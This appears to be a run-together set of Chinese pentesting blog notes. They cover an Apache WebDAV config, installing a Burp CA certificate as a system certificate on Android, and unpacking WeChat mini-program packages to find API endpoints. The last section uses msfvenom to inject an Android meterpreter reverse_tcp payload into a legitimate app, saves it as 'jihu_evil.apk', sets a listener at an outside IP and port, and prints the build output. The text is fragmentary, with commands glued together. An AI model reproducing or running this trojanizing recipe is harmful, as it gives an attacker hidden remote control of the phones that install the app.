cat <<EOF >/etc/apache2/site-available/webdav.conf<VirtualHost *:80> ServerAdmin webmaster@dummy-host.example.com ServerName dummy-host.example.com ServerAlias www.dummy-host.example.com DocumentRoot /var/webdav ErrorLog "/private/var/log/apache2/dummy-host.example.com-error_log" CustomLog "/private/var/log/apache2/dummy-host.example.com-access_log" common Alias /webdav /var/webdav DavLockDB /var/DavLock <Directory /var/webdav/> Options Indexes MultiViews AllowOverride None Order allow,deny allow from all </Directory> <Location /webdav> Dav On AuthType Basic AuthName "webDav" AuthUserFile /var/webdav/passwd.dav Require valid-user </Location></VirtualHost>EOFsudo apachectl configtest #测试配置文件
service apache2 restartcadaver http://127.0.0.1/webdav
]]>因Android 7以后,系统不再信任用户级的证书,只能信任系统级的证书,所以需要将burp证书安装到Android系统目录下
获取Burp证书
方法一:
Burp开启代理后,浏览器访问http://burp 证书 cacert.der
方法二:
证书转换
openssl x509 -inform DER -in cacert.der -out cacert.pem # 证书格式转换 der --> pem openssl version # 查看openssl版本 openssl x509 -inform PEM -subject_hash_old -in cacert.pem |head -1 # 打印证书hash值 9a5ba575 openssl版本在1.0以上执行 openssl x509 -inform PEM -subject_hash -in cacert.pem | head -1 # 打印证书hash值 openssl版本在1.0以下执行 mv cacert.pem <hash>.0 # 将pem格式的证书重命名为 hash值.0
将证书 9a5ba575.0
移动到系统证书目录 /system/etc/security/cacerts
adb push 9a5ba575.0 /sdcard/ # 推送到sdcard目录上 adb shell su mv /sdcard/9a5ba575.0 /system/etc/security/cacerts/ # 将证书移到此目录 chmod 644 /system/etc/security/cacerts/9a5ba575.0 # 设置权限 adb reboot # 重启生效
Android 手机最近使用过的微信小程序所对应的 wxapkg
包文件都存储在特定文件夹下
~ /data/data/com.tencent.mm/MicroMsg/{User}/appbrand/pkg/~
{User} 为当前用户的用户名 315e07770f778822*********2bfee
adb shellsurm /data/data/com.tencent.mm/MicroMsg/{User} # 先删除此目录,手机上点开待测的小程序后会重新生成此目录 原因:防止包含其他小程序cp -R /data/data/com.tencent.mm/MicroMsg/{User}/appbrand/pkg /sdcard # 将小程序目录复制到/sdcard上adb pull /sdcard/pkg ./ # 将小程序拷贝到本地当前目录
下载反编译工具
git clone git@github.com:askDing/wxappUnpacker.git cd wxappUnpacker ./install.sh -npm # 安装npm和node ./install.sh # 安装依赖
解包操作
./de_miniapp.sh -d path/to/xxx.wxapkg # 解某个小程序 ./de_miniapp.sh /path/to/pkg # 解pkg目录下所有的小程序
├── app.js 注册小程序,绑定生命周期回调函数、错误监听和页面不存在监听函数等 ├── app.json 小程序全局配置,决定页面文件的路径、窗口表现、设置网络超时时间、设置多tab等 ├── app.wxss 小程序公共样式表 ├── pages 存放小程序各个页面信息 │ │── index │ │ ├── index.wxml 必须 页面构造类似html文件 │ │ ├── index.js 必须 对页面进行注册,指定页面的初始数据、生命周期回调、事件处理函数等 │ │ ├── index.json 页面窗口配置 │ │ └── index.wxss 页面样式表相当css文件 │ └── logs │ ├── logs.wxml │ └── logs.js └── utils 放置一些公用的方法 │ └── sitemap.json 配置小程序及其页面是否允许被微信索引 │ └── project.config.json 小程序项目配置文件 ------------------------------------------------------- ├─cloud-functions ---云函数 │ └─setCrypto ---数据加密模块,用户加密一些数据 │ index.js │ package.json │ ... │ ... │ ├─components ---小程序自定义组件 │ ├─plugins --- (重点)可独立运行的大型模块,可以打包成plugins │ │ ├─comment ---评论模块 │ │ │ │ index.js │ │ │ │ index.json │ │ │ │ index.wxml │ │ │ │ index.wxss │ │ │ │ services.js ---(重点)用来处理和清洗数据的service.js,配套模板和插件 │ │ │ │ │ │ │ └─submit ---评论模块子模块:提交评论 │ │ │ index.js │ │ │ index.json │ │ │ index.wxml │ │ │ index.wxss │ │ │ │ │ └─canvasPoster ---canvas海报生成模块 │ │ index.js │ │ index.json │ │ index.wxml │ │ index.wxss │ │ services.js ---(重点)用来处理和清洗数据的service.js,配套模板和插件 │ │ │ └─templates ---(重点)模板,通过外部传参的容器,不做过多的数据处理 │ │ │ ├─slideshow ---滚屏切换模板 │ │ index.js │ │ index.json │ │ index.wxml │ │ index.wxss │ │ service.js ---(重点)用来处理和清洗数据的service.js,配套模板和插件 │ │ │ └─works ---作品模板 │ │ index.js │ │ index.json │ │ index.wxml │ │ index.wxss │ │ service.js │ │ │ ├─articlePlugin ---作品模板中的文章类型 │ │ index.js │ │ index.json │ │ index.wxml │ │ index.wxss │ │ │ ├─galleryPlugin ---作品模板中的九宫格类型 │ │ index.js │ │ index.json │ │ index.wxml │ │ index.wxss
查看 xxx.json
文件匹配URI(html页面)
{ "subPackages": [ { "root": "pages/pageNews/", "pages": [ "pages/pageNews/news/notice/index", "pages/pageNews/news/details", ] }, { "root": "pages/pageRetail/", "pages": [ "pages/pageRetail/companys/company/company", "pages/pageRetail/companys/companyAdd/companyAdd", "pages/pageRetail/lsms/fghxq" ] }, ] }
查看 xxx.js
文件,搜索 module.exports
,找出域名和API接口,进行测试
(function (module, exports, __webpack_require__) { "use strict"; var httpUrl = { //本地环境 //baseUrl:'http://127.0.0.1:8001/app_name/', //baseysts:'http://127.0.0.1:8004/' //开发环境 //baseUrl:'http://192.168.1.199:8001/app_name/', //baseysts:'http://192.168.1.199:8004/' //安评环境 //baseUrl:'http://10.150.86.125:8001/app_name/', //baseysts:'http://10.150.86.125:8004/' //正式环境 baseUrl: 'https://xx.xx.xx.xx/app_name/' }; module.exports = httpUrl; /***/ }) (function (module, exports, __webpack_require__) { "use strict"; //const base = "http://192.168.1.199:7120/" var bases = __webpack_require__(/*! ./https */ "./src/config/https.js"); var base = bases.baseUrl; var baseyst = bases.baseysts; module.exports = { newsLists: base + 'appnews/news/list', //资讯列表 newsDetails: base + 'appnews/news/detail', tbsbqr: base + 'appsbs/refund/tbsbqr', queren: base + 'appsbs/refund/queren', .... gang_dong_geo: base + 'appbase/static/js/gang_dong_geo.json' //地图json }; })
References:
]]>aptkool
利用msf框架对安卓手机进行简单操作
渗透安卓
1. `brew install --cask android-sdk && brew install apktool` 2. `sdkmanager "platform-tools" "build-tools;28.0.3" "platforms;android-28" ` 安装zipalign 3. `export PATH=$PATH:/usr/local/Caskroom/android-sdk/4333796/build-tools/28.0.3` 配置zipalign 4.
msfvenom --platform android -x Desktop/jihu.jihuapp_2.7.12_20712.apk -p android/meterpreter/reverse_tcp lhost=101.132.34.104 lport=19003 -o Desktop/jihu_evil.apk
Using APK template: Desktop/jihu.jihuapp_2.7.12_20712.apk
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package jihu.jihuapp.glfku
[] Loading /var/folders/v6/g93y9wqj229_s53gx3yp67q00000gn/T/d20210816-2205-4bcwjl/original/smali_classes4/jihu/jihuapp/MainActivity.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Rebuilding apk with meterpreter injection as /var/folders/v6/g93y9wqj229_s53gx3yp67q00000gn/T/d20210816-2205-4bcwjl/output.apk
[] Signing /var/folders/v6/g93y9wqj229_s53gx3yp67q00000gn/T/d20210816-2205-4bcwjl/output.apk
[] Aligning /var/folders/v6/g93y9wqj229_s53gx3yp67q00000gn/T/d20210816-2205-4bcwjl/output.apk
Payload size: 23173289 bytes
Saved as: Desktop/jihu_evil.apk
3 监听```zshhandler -H 101.132.34.104 -P 19003 -p android/meterpreter/reverse_tcp
]]>